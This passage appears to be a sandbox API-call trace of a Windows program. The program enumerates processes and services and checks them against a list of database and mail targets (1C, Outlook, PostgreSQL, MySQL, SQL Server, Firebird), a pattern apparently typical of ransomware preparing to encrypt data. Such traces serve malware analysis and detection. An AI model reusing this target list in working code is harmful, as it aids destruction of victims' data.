(lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0259.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0259.693] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x4332cd8 | out: hHeap=0x590000) returned 1 [0259.694] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380 [0259.699] Process32FirstW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.700] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0259.701] lstrlenW (lpString="System") returned 6 [0259.701] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0259.701] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0259.701] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0259.701] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0259.701] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0259.701] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0259.701] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0259.702] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0259.985] lstrlenW (lpString="smss.exe") returned 8 [0259.986] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0259.988] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0260.008] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0260.008] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0260.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0260.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0260.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0260.008] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.009] lstrlenW (lpString="csrss.exe") returned 9 [0260.009] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0260.010] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0260.010] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0260.010] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0260.010] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0260.010] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0260.010] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0260.010] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0260.011] lstrlenW (lpString="wininit.exe") returned 11 [0260.011] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0260.011] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0260.011] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0260.011] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0260.011] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0260.011] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0260.011] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0260.011] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.012] lstrlenW (lpString="csrss.exe") returned 9 [0260.012] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0260.012] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0260.013] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0260.013] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0260.013] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0260.013] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0260.013] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0260.013] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0260.014] lstrlenW (lpString="winlogon.exe") returned 12 [0260.014] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0260.014] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0260.014] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0260.014] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0260.014] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0260.016] lstrlenW (lpString="services.exe") returned 12 [0260.016] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0260.017] lstrlenW (lpString="lsass.exe") returned 9 [0260.017] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0260.018] lstrlenW (lpString="lsm.exe") returned 7 [0260.018] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.019] lstrlenW (lpString="svchost.exe") returned 11 [0260.019] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.020] lstrlenW (lpString="svchost.exe") returned 11 [0260.020] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.021] lstrlenW (lpString="svchost.exe") returned 11 [0260.021] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.023] lstrlenW (lpString="svchost.exe") returned 11 [0260.023] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.024] lstrlenW (lpString="svchost.exe") returned 11 [0260.024] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0260.025] lstrlenW (lpString="audiodg.exe") returned 11 [0260.025] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.026] lstrlenW (lpString="svchost.exe") returned 11 [0260.026] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0260.027] lstrlenW (lpString="explorer.exe") returned 12 [0260.027] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0260.028] lstrlenW (lpString="dwm.exe") returned 7 [0260.028] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.029] lstrlenW (lpString="svchost.exe") returned 11 [0260.029] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0260.031] lstrlenW (lpString="winhost.exe") returned 11 [0260.031] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0260.032] lstrlenW (lpString="spoolsv.exe") returned 11 [0260.032] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.033] lstrlenW (lpString="svchost.exe") returned 11 [0260.033] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0260.034] lstrlenW (lpString="taskhost.exe") returned 12 [0260.034] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0260.035] lstrlenW (lpString="reader_sl.exe") returned 13 [0260.035] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0260.036] lstrlenW (lpString="taskhost.exe") returned 12 [0260.036] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0260.037] lstrlenW (lpString="dllhost.exe") returned 11 [0260.037] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0260.038] CloseHandle (hObject=0x380) returned 1 [0260.038] Sleep (dwMilliseconds=0x1f4) [0260.614] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e270 [0260.615] EnumServicesStatusExW (in: hSCManager=0x62e270, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0260.615] GetLastError () returned 0xea [0260.615] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x113e) returned 0x42e5000 [0260.616] EnumServicesStatusExW (in: hSCManager=0x62e270, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e5000, cbBufSize=0x113e, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e5000, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0260.617] CloseServiceHandle (hSCObject=0x62e270) returned 1 [0260.618] lstrlenW (lpString="Appinfo") returned 7 [0260.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0260.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0260.618] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0260.618] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0260.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0260.619] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0260.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0260.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0260.619] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0260.619] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0260.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0260.619] lstrlenW (lpString="AudioSrv") returned 8 [0260.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0260.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0260.619] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0260.619] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0260.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0260.620] lstrlenW (lpString="BFE") returned 3 [0260.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0260.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0260.620] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0260.620] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0260.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0260.620] lstrlenW (lpString="CryptSvc") returned 8 [0260.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0260.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0260.620] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0260.620] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0260.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0260.620] lstrlenW (lpString="CscService") returned 10 [0260.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0260.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0260.621] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0260.621] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0260.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0260.621] lstrlenW (lpString="DcomLaunch") returned 10 [0260.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0260.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0260.621] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0260.621] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0260.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0260.621] lstrlenW (lpString="Dhcp") returned 4 [0260.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0260.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0260.622] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0260.622] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0260.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0260.622] lstrlenW (lpString="Dnscache") returned 8 [0260.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0260.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0260.622] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0260.622] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0260.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0260.622] lstrlenW (lpString="DPS") returned 3 [0260.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0260.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0260.623] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0260.623] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0260.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0260.640] lstrlenW (lpString="eventlog") returned 8 [0260.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0260.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0260.640] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0260.641] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0260.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0260.641] lstrlenW (lpString="EventSystem") returned 11 [0260.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0260.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0260.641] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0260.641] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0260.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0260.641] lstrlenW (lpString="gpsvc") returned 5 [0260.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0260.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0260.642] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0260.642] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0260.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0260.642] lstrlenW (lpString="iphlpsvc") returned 8 [0260.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0260.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0260.642] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0260.642] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0260.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0260.642] lstrlenW (lpString="LanmanServer") returned 12 [0260.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0260.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0260.643] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0260.643] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0260.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0260.643] lstrlenW (lpString="LanmanWorkstation") returned 17 [0260.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0260.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0260.643] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0260.643] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0260.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0260.643] lstrlenW (lpString="lmhosts") returned 7 [0260.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0260.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0260.644] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0260.644] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0260.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0260.644] lstrlenW (lpString="MMCSS") returned 5 [0260.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0260.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0260.644] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0260.644] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0260.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0260.644] lstrlenW (lpString="MpsSvc") returned 6 [0260.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0260.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0260.645] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0260.645] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0260.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0260.645] lstrlenW (lpString="Netman") returned 6 [0260.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0260.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0260.645] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0260.645] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0260.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0260.645] lstrlenW (lpString="netprofm") returned 8 [0260.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0260.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0260.646] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0260.646] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0260.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0260.646] lstrlenW (lpString="NlaSvc") returned 6 [0260.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0260.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0260.646] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0260.646] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0260.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0260.646] lstrlenW (lpString="nsi") returned 3 [0260.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0260.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0260.647] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0260.647] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0260.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0260.647] lstrlenW (lpString="PcaSvc") returned 6 [0260.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0260.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0260.647] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0260.647] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0260.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0260.647] lstrlenW (lpString="PlugPlay") returned 8 [0260.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0260.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0260.648] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0260.648] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0260.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0260.648] lstrlenW (lpString="Power") returned 5 [0260.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 